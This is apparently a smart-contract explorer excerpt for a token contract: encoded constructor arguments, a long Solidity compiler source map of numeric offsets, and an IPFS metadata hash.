Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 4b414c0000000000000000000000000000000000000000000000000000000000

148:10772:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1035:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3394:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2163:108::-;;;:::i;:::-;;;;;;;:::i;4175:261::-;;;;;;:::i;:::-;;:::i;2006:92::-;;;:::i;:::-;;;;;;;:::i;4845:238::-;;;;;;:::i;:::-;;:::i;2334:127::-;;;;;;:::i;:::-;;:::i;6028:726::-;;;;;;:::i;:::-;;:::i;:::-;;980:87:3;;;:::i;:::-;;;;;;;:::i;1254:104:2:-;;;:::i;5586:434::-;;;;;;:::i;:::-;;:::i;2667:193::-;;;;;;:::i;:::-;;:::i;2923:151::-;;;;;;:::i;:::-;;:::i;1035:100::-;1089:13;1122:5;1115:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1035:100;:::o;3394:201::-;3477:4;3494:13;3510:12;:10;:12::i;:::-;3494:28;;3533:32;3542:5;3549:7;3558:6;3533:8;:32::i;:::-;-1:-1:-1;3583:4:2;;3394:201;-1:-1:-1;;;3394:201:2:o;2163:108::-;2251:12;;2163:108;:::o;4175:261::-;4272:4;4289:15;4307:12;:10;:12::i;:::-;4289:30;;4330:38;4346:4;4352:7;4361:6;4330:15;:38::i;:::-;4379:27;4389:4;4395:2;4399:6;4379:9;:27::i;:::-;-1:-1:-1;4424:4:2;;4175:261;-1:-1:-1;;;;4175:261:2:o;2006:92::-;2089:1;2006:92;:::o;4845:238::-;4933:4;4950:13;4966:12;:10;:12::i;:::-;4950:28;;4989:64;4998:5;5005:7;5042:10;5014:25;5024:5;5031:7;5014:9;:25::i;:::-;:38;;;;:::i;:::-;4989:8;:64::i;2334:127::-;-1:-1:-1;;;;;2435:18:2;;2408:7;2435:18;;;:9;:18;;;;;;2334:127;;;;:::o;6028:726::-;6095:7;6104:12;6118;6134:43;6162:2;;6165:1;6162:5;;;;;-1:-1:-1;;;6162:5:2;;;;;;;;;;;;;;;6169:2;;6172:1;6169:5;;;;;-1:-1:-1;;;6169:5:2;;;;;;;;;;;;;;;6175:1;6134:13;:43::i;:::-;6094:83;;;;;;6184:2;6179:16;;6188:7;;;;;6179:16;6234:45;6283:33;;6280:2;;6411:1;6382:37;;;6330:51;6420:18;;6485:2;6472:16;;6439:56;;;6280:2;6501:37;6498:2;;6647:1;6614:41;;;6570:43;6656:36;;6713:2;6700:16;;6607:1;6693:27;;6498:2;;6205:542;;;;;;:::o;980:87:3:-;1026:7;1053:6;-1:-1:-1;;;;;1053:6:3;980:87;:::o;1254:104:2:-;1310:13;1343:7;1336:14;;;;;:::i;5586:434::-;5679:4;5696:13;5712:12;:10;:12::i;:::-;5696:28;;5735:24;5762:25;5772:5;5779:7;5762:9;:25::i;:::-;5735:52;;5826:15;5806:16;:35;;5798:85;;;;-1:-1:-1;;;5798:85:2;;;;;;;:::i;:::-;;;;;;;;;5919:60;5928:5;5935:7;5963:15;5944:16;:34;5919:8;:60::i;2667:193::-;2746:4;2763:13;2779:12;:10;:12::i;:::-;2763:28;;2802;2812:5;2819:2;2823:6;2802:9;:28::i;2923:151::-;-1:-1:-1;;;;;3039:18:2;;;3012:7;3039:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2923:151::o;656:98:0:-;736:10;656:98;:::o;9860:346:2:-;-1:-1:-1;;;;;9962:19:2;;9954:68;;;;-1:-1:-1;;;9954:68:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;10041:21:2;;10033:68;;;;-1:-1:-1;;;10033:68:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;10114:18:2;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;10166:32;;;;;10144:6;;10166:32;:::i;:::-;;;;;;;;9860:346;;;:::o;10498:419::-;10599:24;10626:25;10636:5;10643:7;10626:9;:25::i;:::-;10599:52;;-1:-1:-1;;10666:16:2;:37;10662:248;;10748:6;10728:16;:26;;10720:68;;;;-1:-1:-1;;;10720:68:2;;;;;;;:::i;:::-;10832:51;10841:5;10848:7;10876:6;10857:16;:25;10832:8;:51::i;:::-;10498:419;;;;:::o;7738:789::-;-1:-1:-1;;;;;7835:18:2;;7827:68;;;;-1:-1:-1;;;7827:68:2;;;;;;;:::i;:::-;8000:24;;-1:-1:-1;;;8000:24:2;;7983:15;;-1:-1:-1;;;;;8000:8:2;:18;;;;:24;;8019:4;;8000:24;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7983:41;;8025:31;8038:4;8043:7;8051:4;8025:12;:31::i;:::-;-1:-1:-1;;;;;8089:15:2;;8067:19;8089:15;;;:9;:15;;;;;;8123:21;;;;8115:72;;;;-1:-1:-1;;;8115:72:2;;;;;;;:::i;:::-;-1:-1:-1;;;;;8223:15:2;;;;;;;:9;:15;;;;;;8241:20;;;8223:38;;8441:13;;;;;;;;;;:23;;;;;;8493:26;;;;;;8255:6;;8493:26;:::i;:::-;;;;;;;;7738:789;;;;;:::o;6761:492::-;6857:4;6863:7;6872;6893:19;6915:5;6893:27;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6932:12;6957:10;6932:35;;6978:18;6999:7;6978:28;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7026:1;7020:5;:7;;;;:::i;:::-;7029:4;7020:13;7017:39;;;7043:5;7050:1;7053:2;7035:21;;;;;;;;;;;7017:39;7067:8;7173:30;;;:4;:30;;;;;;;7110:47;7173:30;;7110:47;;7139:4;;7145:5;;7152:4;;7110:47;;:::i;:::-;;;;-1:-1:-1;;7110:47:2;;;;;;;;;7100:58;;7110:47;7100:58;;;;7078:125;;-1:-1:-1;7232:5:2;;-1:-1:-1;7239:5:2;;-1:-1:-1;;;;;6761:492:2;;;;;;;;:::o;8535:225::-;8628:3;:24;;;;-1:-1:-1;;;;;;8635:12:2;;;;;;:4;:12;;;;;;8651:1;8635:17;8628:24;8624:129;;;8673:12;8669:73;;8716:3;8715:4;8707:19;;;;-1:-1:-1;;;8707:19:2;;;;;;;:::i;:::-;8535:225;;;:::o;14:175:4:-;84:20;;-1:-1:-1;;;;;133:31:4;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:4:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:4:o;1294:666::-;;;1441:2;1429:9;1420:7;1416:23;1412:32;1409:2;;;1462:6;1454;1447:22;1409:2;1507:9;1494:23;1536:18;1577:2;1569:6;1566:14;1563:2;;;1598:6;1590;1583:22;1563:2;1641:6;1630:9;1626:22;1616:32;;1686:7;1679:4;1675:2;1671:13;1667:27;1657:2;;1713:6;1705;1698:22;1657:2;1758;1745:16;1784:2;1776:6;1773:14;1770:2;;;1805:6;1797;1790:22;1770:2;1864:7;1859:2;1853;1845:6;1841:15;1837:2;1833:24;1829:33;1826:46;1823:2;;;1890:6;1882;1875:22;1823:2;1926;1918:11;;;;;1948:6;;-1:-1:-1;1399:561:4;;-1:-1:-1;;;;1399:561:4:o;1965:194::-;;2088:2;2076:9;2067:7;2063:23;2059:32;2056:2;;;2109:6;2101;2094:22;2056:2;-1:-1:-1;2137:16:4;;2046:113;-1:-1:-1;2046:113:4:o;2164:478::-;;2246:5;2240:12;2273:6;2268:3;2261:19;2298:3;2310:162;2324:6;2321:1;2318:13;2310:162;;;2386:4;2442:13;;;2438:22;;2432:29;2414:11;;;2410:20;;2403:59;2339:12;2310:162;;;2490:6;2487:1;2484:13;2481:2;;;2556:3;2549:4;2540:6;2535:3;2531:16;2527:27;2520:40;2481:2;-1:-1:-1;2624:2:4;2603:15;-1:-1:-1;;2599:29:4;2590:39;;;;2631:4;2586:50;;2216:426;-1:-1:-1;;2216:426:4:o;2647:203::-;-1:-1:-1;;;;;2811:32:4;;;;2793:51;;2781:2;2766:18;;2748:102::o;2855:484::-;-1:-1:-1;;;;;3080:32:4;;3062:51;;3149:2;3144;3129:18;;3122:30;;;2855:484;;3175:47;;3203:18;;3195:6;3175:47;:::i;:::-;3270:9;3262:6;3258:22;3253:2;3242:9;3238:18;3231:50;3298:35;3326:6;3318;3298:35;:::i;:::-;3290:43;3052:287;-1:-1:-1;;;;;;3052:287:4:o;3344:187::-;3509:14;;3502:22;3484:41;;3472:2;3457:18;;3439:92::o;3536:222::-;;3685:2;3674:9;3667:21;3705:47;3748:2;3737:9;3733:18;3725:6;3705:47;:::i;3763:398::-;3965:2;3947:21;;;4004:2;3984:18;;;3977:30;4043:34;4038:2;4023:18;;4016:62;-1:-1:-1;;;4109:2:4;4094:18;;4087:32;4151:3;4136:19;;3937:224::o;4166:353::-;4368:2;4350:21;;;4407:2;4387:18;;;4380:30;4446:31;4441:2;4426:18;;4419:59;4510:2;4495:18;;4340:179::o;4524:402::-;4726:2;4708:21;;;4765:2;4745:18;;;4738:30;4804:34;4799:2;4784:18;;4777:62;-1:-1:-1;;;4870:2:4;4855:18;;4848:36;4916:3;4901:19;;4698:228::o;4931:325::-;5133:2;5115:21;;;5172:1;5152:18;;;5145:29;-1:-1:-1;;;5205:2:4;5190:18;;5183:32;5247:2;5232:18;;5105:151::o;5261:401::-;5463:2;5445:21;;;5502:2;5482:18;;;5475:30;5541:34;5536:2;5521:18;;5514:62;-1:-1:-1;;;5607:2:4;5592:18;;5585:35;5652:3;5637:19;;5435:227::o;5667:400::-;5869:2;5851:21;;;5908:2;5888:18;;;5881:30;5947:34;5942:2;5927:18;;5920:62;-1:-1:-1;;;6013:2:4;5998:18;;5991:34;6057:3;6042:19;;5841:226::o;6072:401::-;6274:2;6256:21;;;6313:2;6293:18;;;6286:30;6352:34;6347:2;6332:18;;6325:62;-1:-1:-1;;;6418:2:4;6403:18;;6396:35;6463:3;6448:19;;6246:227::o;6478:177::-;6624:25;;;6612:2;6597:18;;6579:76::o;6660:184::-;6832:4;6820:17;;;;6802:36;;6790:2;6775:18;;6757:87::o;6849:128::-;;6920:1;6916:6;6913:1;6910:13;6907:2;;;6926:18;;:::i;:::-;-1:-1:-1;6962:9:4;;6897:80::o;6982:125::-;;7050:1;7047;7044:8;7041:2;;;7055:18;;:::i;:::-;-1:-1:-1;7092:9:4;;7031:76::o;7112:380::-;7197:1;7187:12;;7244:1;7234:12;;;7255:2;;7309:4;7301:6;7297:17;7287:27;;7255:2;7362;7354:6;7351:14;7331:18;7328:38;7325:2;;;7408:10;7403:3;7399:20;7396:1;7389:31;7443:4;7440:1;7433:15;7471:4;7468:1;7461:15;7325:2;;7167:325;;;:::o;7497:127::-;7558:10;7553:3;7549:20;7546:1;7539:31;7589:4;7586:1;7579:15;7613:4;7610:1;7603:15

ipfs://0672c3ed0656eb5daf176bfcc270567baec5d4354bf8a70ebc95d61860393008